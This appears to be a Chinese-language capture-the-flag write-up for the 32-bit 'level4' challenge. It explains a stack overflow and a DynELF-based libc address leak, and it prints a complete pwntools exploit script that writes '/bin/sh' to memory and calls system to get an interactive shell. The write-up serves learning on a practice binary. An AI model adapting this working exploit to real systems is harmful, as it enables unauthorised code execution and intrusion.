# 1. 分析程序
32 位程序没有开启 NX 和 pie
ida 查看一下
发现 vuln 函数可以进行溢出,但是没有发现后门函数,所以我们利用 ret2libc
呃。。。
利用 ret2libc 没有打通,换个方式利用 DynELF
# 2. 利用 DynELF
构造 leak
函数
def leak(add): #add 为想泄露的函数地址 | |
payload=b"a"*140+p32(write_plt)+p32(vuln)+p32(1)+p32(add)+p32(0x100) | |
p.sendline(payload) | |
fun_add=p.recv() | |
return fun_add |
实例化 DynELF
d=DynELF(leak,elf=e) |
获取 system
和 read
地址 (因为程序里没有 /bin/sh
需要我们自己写入)
system=d.lookup("system","libc") | |
read=d.lookup('read','libc') |
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=process("./level4") | |
#p=remote("node4.buuoj.cn",28089) | |
e=ELF("./level4") | |
write_got=e.got["write"] | |
write_plt=e.plt["write"] | |
read_got=e.got["read"] | |
bbs=0x804A024 | |
vuln=0x804844B | |
def leak(add): | |
payload=b"a"*140+p32(write_plt)+p32(vuln)+p32(1)+p32(add)+p32(0x100) | |
p.sendline(payload) | |
fun_add=p.recv() | |
return fun_add | |
d=DynELF(leak,elf=e) | |
system=d.lookup("system","libc") | |
read=d.lookup('read','libc') | |
payload1=b"a"*140+p32(read)+p32(system)+p32(0)+p32(bbs)+p32(0x100) | |
p.sendline(payload1) | |
p.sendline("/bin/sh") | |
p.interactive() |
打通本地
打远程靶机